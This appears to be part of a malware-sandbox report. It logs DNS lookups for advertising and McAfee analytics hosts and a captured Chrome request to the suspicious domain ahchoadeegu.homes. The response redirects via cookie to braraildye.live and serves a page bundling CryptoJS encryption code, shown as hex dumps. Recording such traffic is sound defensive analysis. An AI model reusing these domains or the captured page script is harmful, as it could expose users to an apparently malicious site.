Oct 3, 2024 17:19:53.744859934 CEST	1.1.1.1	192.168.2.17	0x578b	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.834605932 CEST	1.1.1.1	192.168.2.17	0xe031	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.834605932 CEST	1.1.1.1	192.168.2.17	0xe031	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.834605932 CEST	1.1.1.1	192.168.2.17	0xe031	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.834605932 CEST	1.1.1.1	192.168.2.17	0xe031	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.905232906 CEST	1.1.1.1	192.168.2.17	0x4dc1	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.906131029 CEST	1.1.1.1	192.168.2.17	0x44fc	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.906131029 CEST	1.1.1.1	192.168.2.17	0x44fc	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.906131029 CEST	1.1.1.1	192.168.2.17	0x44fc	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.906131029 CEST	1.1.1.1	192.168.2.17	0x44fc	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.160542965 CEST	1.1.1.1	192.168.2.17	0xcbd0	No error (0)	s.amazon-adsystem.com		98.82.156.107	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.203.240	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.86.51	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.77.208.237	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.92.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.23.243	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.106.111	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.203.182.207	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161003113 CEST	1.1.1.1	192.168.2.17	0xc3a0	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.252.162.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161740065 CEST	1.1.1.1	192.168.2.17	0x37df	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161740065 CEST	1.1.1.1	192.168.2.17	0x37df	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161740065 CEST	1.1.1.1	192.168.2.17	0x37df	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.161750078 CEST	1.1.1.1	192.168.2.17	0x85a7	No error (0)	cdn1.adoberesources.net	cdn1.adoberesources.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.171892881 CEST	1.1.1.1	192.168.2.17	0x11e4	No error (0)	cdn1.adoberesources.net	cdn1.adoberesources.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.178380966 CEST	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.178380966 CEST	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.178380966 CEST	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.178380966 CEST	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.178982019 CEST	1.1.1.1	192.168.2.17	0x16af	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.324414015 CEST	1.1.1.1	192.168.2.17	0xf7c	No error (0)	rs.fullstory.com		35.186.194.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.538454056 CEST	1.1.1.1	192.168.2.17	0x2528	No error (0)	collector-30568.us.tvsquared.com	collectoru.us.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.538454056 CEST	1.1.1.1	192.168.2.17	0x2528	No error (0)	collectoru.us.tvsquared.com		3.138.129.130	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.538454056 CEST	1.1.1.1	192.168.2.17	0x2528	No error (0)	collectoru.us.tvsquared.com		18.224.125.5	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.539172888 CEST	1.1.1.1	192.168.2.17	0x735d	No error (0)	collector-30568.us.tvsquared.com	collectoru.us.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.961121082 CEST	1.1.1.1	192.168.2.17	0xf44b	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.978348970 CEST	1.1.1.1	192.168.2.17	0x95f	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:54.978348970 CEST	1.1.1.1	192.168.2.17	0x95f	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.978348970 CEST	1.1.1.1	192.168.2.17	0x95f	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.978348970 CEST	1.1.1.1	192.168.2.17	0x95f	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.115259886 CEST	1.1.1.1	192.168.2.17	0xcc5f	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.116588116 CEST	1.1.1.1	192.168.2.17	0xb832	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.116588116 CEST	1.1.1.1	192.168.2.17	0xb832	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.116588116 CEST	1.1.1.1	192.168.2.17	0xb832	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.116588116 CEST	1.1.1.1	192.168.2.17	0xb832	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.146184921 CEST	1.1.1.1	192.168.2.17	0x5395	No error (0)	smetrics.mcafee.com	mcafee.com.ssl.d2.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.146184921 CEST	1.1.1.1	192.168.2.17	0x5395	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.146184921 CEST	1.1.1.1	192.168.2.17	0x5395	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.146184921 CEST	1.1.1.1	192.168.2.17	0x5395	No error (0)	mcafee.com.ssl.d2.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.406409979 CEST	1.1.1.1	192.168.2.17	0xd840	No error (0)	s.amazon-adsystem.com		98.82.154.76	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.499993086 CEST	1.1.1.1	192.168.2.17	0x98e9	No error (0)	collector-30568.us.tvsquared.com	collectoru.us.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.499993086 CEST	1.1.1.1	192.168.2.17	0x98e9	No error (0)	collectoru.us.tvsquared.com		18.224.125.5	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.499993086 CEST	1.1.1.1	192.168.2.17	0x98e9	No error (0)	collectoru.us.tvsquared.com		3.138.129.130	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.502239943 CEST	1.1.1.1	192.168.2.17	0x78c3	No error (0)	collector-30568.us.tvsquared.com	collectoru.us.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.991369963 CEST	1.1.1.1	192.168.2.17	0x17e7	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.991369963 CEST	1.1.1.1	192.168.2.17	0x17e7	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.991369963 CEST	1.1.1.1	192.168.2.17	0x17e7	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.991473913 CEST	1.1.1.1	192.168.2.17	0x5176	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.991473913 CEST	1.1.1.1	192.168.2.17	0x5176	No error (0)	scontent.xx.fbcdn.net		157.240.253.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.992459059 CEST	1.1.1.1	192.168.2.17	0xe696	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.992459059 CEST	1.1.1.1	192.168.2.17	0xe696	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 17:19:55.992459059 CEST	1.1.1.1	192.168.2.17	0xe696	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 17:19:55.992876053 CEST	1.1.1.1	192.168.2.17	0x9442	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:55.996880054 CEST	1.1.1.1	192.168.2.17	0xd43e	No error (0)	googleads.g.doubleclick.net		142.250.185.226	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.996893883 CEST	1.1.1.1	192.168.2.17	0x30c4	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 17:19:58.344084024 CEST	1.1.1.1	192.168.2.17	0x685b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 17:19:58.344479084 CEST	1.1.1.1	192.168.2.17	0x6e3d	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:58.517304897 CEST	1.1.1.1	192.168.2.17	0x7616	No error (0)	sp.analytics.yahoo.com	spdc-global.pbp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:58.517304897 CEST	1.1.1.1	192.168.2.17	0x7616	No error (0)	spdc-global.pbp.gysm.yahoodns.net		54.246.144.89	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:58.517304897 CEST	1.1.1.1	192.168.2.17	0x7616	No error (0)	spdc-global.pbp.gysm.yahoodns.net		54.171.122.26	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:58.518572092 CEST	1.1.1.1	192.168.2.17	0xff79	No error (0)	sp.analytics.yahoo.com	spdc-global.pbp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:00.559137106 CEST	1.1.1.1	192.168.2.17	0x27d7	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:00.559137106 CEST	1.1.1.1	192.168.2.17	0x27d7	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:00.560178041 CEST	1.1.1.1	192.168.2.17	0x3c86	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:01.566207886 CEST	1.1.1.1	192.168.2.17	0x3504	No error (0)	baxhwilimy34czx6wyfa-f-dcf13e1a4-clientnsv4-s.akamaihd.net	baxhwilimy34czx6wyfa-f-dcf13e1a4.ipv4-only.cname.clienttons.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:01.566207886 CEST	1.1.1.1	192.168.2.17	0x3504	No error (0)	baxhwilimy34czx6wyfa-f-dcf13e1a4.ipv4-only.cname.clienttons.com	a248.b.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:01.579607964 CEST	1.1.1.1	192.168.2.17	0xd866	No error (0)	baxhwilimy34czx6wyfa-f-dcf13e1a4-clientnsv4-s.akamaihd.net	baxhwilimy34czx6wyfa-f-dcf13e1a4.ipv4-only.cname.clienttons.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:01.579607964 CEST	1.1.1.1	192.168.2.17	0xd866	No error (0)	baxhwilimy34czx6wyfa-f-dcf13e1a4.ipv4-only.cname.clienttons.com	a248.b.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:01.585922956 CEST	1.1.1.1	192.168.2.17	0xec6d	No error (0)	02179912.akstat.io	wildcard46.akstat.io.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:01.586231947 CEST	1.1.1.1	192.168.2.17	0x38a5	No error (0)	02179912.akstat.io	wildcard46.akstat.io.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:20:02.908387899 CEST	1.1.1.1	192.168.2.17	0x157a	No error (0)	prod.upsellit.com		66.226.1.69	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:02.932295084 CEST	1.1.1.1	192.168.2.17	0xe7c4	No error (0)	app.upsellit.com		66.226.1.69	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:03.850538969 CEST	1.1.1.1	192.168.2.17	0x5926	No error (0)	prod.upsellit.com		66.226.1.69	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49705	185.155.184.36	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:10 UTC	687	OUT	GET /?u=k8pp605&o=c9ewtnr&t=8845 HTTP/1.1 Host: ahchoadeegu.homes Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:11 UTC	400	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 15:18:11 GMT Content-Type: text/html Content-Length: 63807 Connection: close cache-control: private set-cookie: sid=t1~2nfu21dk4tvyqsnquqreybha; path=/ set-cookie: sid=t1~2nfu21dk4tvyqsnquqreybha; path=/ set-cookie: p1=https://braraildye.live/qxvlhqbn/; path=/ set-cookie: s1=e2pxdlsrtuht00kb; path=/ Cache-Control: no-transform
2024-10-03 15:18:11 UTC	3696	IN	Data Raw: 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 72 65 71 75 65 73 74 4c 69 6e 6b 28 29 7b 72 65 74 75 72 6e 20 7b 73 65 73 73 69 6f 6e 49 64 3a 5b 27 73 69 64 27 2c 27 74 31 7e 32 6e 66 75 32 31 64 6b 34 74 76 79 71 73 6e 71 75 71 72 65 79 62 68 61 27 5d 2c 70 31 3a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><script>function requestLink(){return {sessionId:['sid','t1~2nfu21dk4tvyqsnquqreybha'],p1:
2024-10-03 15:18:11 UTC	48	IN	Data Raw: 3d 28 73 3d 74 3f 66 2e 63 65 69 6c 28 73 29 3a 66 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c Data Ascii: =(s=t?f.ceil(s):f.max((0\|s)-this._minBufferSize,
2024-10-03 15:18:11 UTC	4096	IN	Data Raw: 30 29 29 2a 6f 2c 61 3d 66 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 2c 68 29 3b 65 3d 69 2e 73 70 6c 69 63 65 28 30 2c 63 29 2c 72 2e 73 69 67 42 79 74 65 73 2d 3d 61 7d 72 65 74 75 72 6e 20 6e 65 77 20 75 2e 69 6e 69 74 28 65 2c 61 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 6e 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 64 61 74 61 3d 74 68 69 73 2e 5f 64 61 74 61 2e 63 6c 6f 6e 65 28 29 2c 74 7d 2c 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 3a 30 7d 29 2c 70 3d 28 65 2e 48 61 73 68 65 72 3d 68 2e 65 78 74 65 6e 64 28 7b 63 66 67 3a 6e 2e 65 Data Ascii: 0))o,a=f.min(4c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock(i,h);e=i.splice(0,c),r.sigBytes-=a}return new u.init(e,a)},clone:function(){var t=n.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),p=(e.Hasher=h.extend({cfg:n.e
2024-10-03 15:18:11 UTC	1944	IN	Data Raw: 6f 2e 63 72 65 61 74 65 28 72 29 2e 63 6f 6d 70 75 74 65 28 74 2c 65 29 7d 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 43 72 79 70 74 6f 4a 53 2c 68 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 3b 74 2e 65 6e 63 2e 42 61 73 65 36 34 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 2e 73 69 67 42 79 74 65 73 2c 69 3d 74 68 69 73 2e 5f 6d 61 70 3b 74 2e 63 6c 61 6d 70 28 29 3b 66 6f 72 28 76 61 72 20 6e 3d 5b 5d 2c 6f 3d 30 3b 6f 3c 72 3b 6f 2b 3d 33 29 66 6f 72 28 76 61 72 20 73 3d 28 65 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 29 3c 3c 31 36 7c 28 65 5b 6f 2b 31 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 28 6f 2b 31 29 25 34 2a 38 26 32 35 35 29 Data Ascii: o.create(r).compute(t,e)}}(),function(){var t=CryptoJS,h=t.lib.WordArray;t.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o<r;o+=3)for(var s=(e[o>>>2]>>>24-o%48&255)<<16\|(e[o+1>>>2]>>>24-(o+1)%48&255)
2024-10-03 15:18:11 UTC	4096	IN	Data Raw: 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 44 65 63 72 79 70 74 6f 72 2e 63 72 65 61 74 65 28 74 2c 65 29 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 68 69 73 2e 5f 63 69 70 68 65 72 3d 74 2c 74 68 69 73 2e 5f 69 76 3d 65 7d 7d 29 2c 64 3d 75 2e 43 42 43 3d 28 28 66 3d 70 2e 65 78 74 65 6e 64 28 29 29 2e 45 6e 63 72 79 70 74 6f 72 3d 66 2e 65 78 74 65 6e 64 28 7b 70 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 63 69 70 68 65 72 2c 69 3d 72 2e 62 6c 6f 63 6b 53 69 7a 65 3b 6c 2e 63 61 6c 6c 28 74 68 69 73 2c 74 2c 65 2c 69 29 2c 72 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 28 74 2c 65 29 2c 74 68 69 73 2e 5f 70 72 65 76 42 Data Ascii: tor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),d=u.CBC=((f=p.extend()).Encryptor=f.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;l.call(this,t,e,i),r.encryptBlock(t,e),this._prevB
2024-10-03 15:18:11 UTC	248	IN	Data Raw: 5f 64 6f 43 72 79 70 74 42 6c 6f 63 6b 28 74 2c 65 2c 74 68 69 73 2e 5f 6b 65 79 53 63 68 65 64 75 6c 65 2c 75 2c 70 2c 64 2c 6c 2c 68 29 7d 2c 64 65 63 72 79 70 74 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 74 5b 65 2b 31 5d 3b 74 5b 65 2b 31 5d 3d 74 5b 65 2b 33 5d 2c 74 5b 65 2b 33 5d 3d 72 2c 74 68 69 73 2e 5f 64 6f 43 72 79 70 74 42 6c 6f 63 6b 28 74 2c 65 2c 74 68 69 73 2e 5f 69 6e 76 4b 65 79 53 63 68 65 64 75 6c 65 2c 76 2c 5f 2c 79 2c 67 2c 66 29 3b 72 3d 74 5b 65 2b 31 5d 3b 74 5b 65 2b 31 5d 3d 74 5b 65 2b 33 5d 2c 74 5b 65 2b 33 5d 3d 72 7d 2c 5f 64 6f 43 72 79 70 74 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 2c 63 29 7b 66 6f 72 28 76 61 72 20 61 Data Ascii: _doCryptBlock(t,e,this._keySchedule,u,p,d,l,h)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,v,_,y,g,f);r=t[e+1];t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a
2024-10-03 15:18:11 UTC	4096	IN	Data Raw: 3d 74 68 69 73 2e 5f 6e 52 6f 75 6e 64 73 2c 68 3d 74 5b 65 5d 5e 72 5b 30 5d 2c 66 3d 74 5b 65 2b 31 5d 5e 72 5b 31 5d 2c 75 3d 74 5b 65 2b 32 5d 5e 72 5b 32 5d 2c 70 3d 74 5b 65 2b 33 5d 5e 72 5b 33 5d 2c 64 3d 34 2c 6c 3d 31 3b 6c 3c 61 3b 6c 2b 2b 29 7b 76 61 72 20 76 3d 69 5b 68 3e 3e 3e 32 34 5d 5e 6e 5b 66 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 75 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 70 5d 5e 72 5b 64 2b 2b 5d 2c 5f 3d 69 5b 66 3e 3e 3e 32 34 5d 5e 6e 5b 75 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 70 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 68 5d 5e 72 5b 64 2b 2b 5d 2c 79 3d 69 5b 75 3e 3e 3e 32 34 5d 5e 6e 5b 70 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 68 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 66 5d 5e 72 5b 64 2b 2b 5d 2c Data Ascii: =this._nRounds,h=t[e]^r[0],f=t[e+1]^r[1],u=t[e+2]^r[2],p=t[e+3]^r[3],d=4,l=1;l<a;l++){var v=i[h>>>24]^n[f>>>16&255]^o[u>>>8&255]^s[255&p]^r[d++],_=i[f>>>24]^n[u>>>16&255]^o[p>>>8&255]^s[255&h]^r[d++],y=i[u>>>24]^n[p>>>16&255]^o[h>>>8&255]^s[255&f]^r[d++],
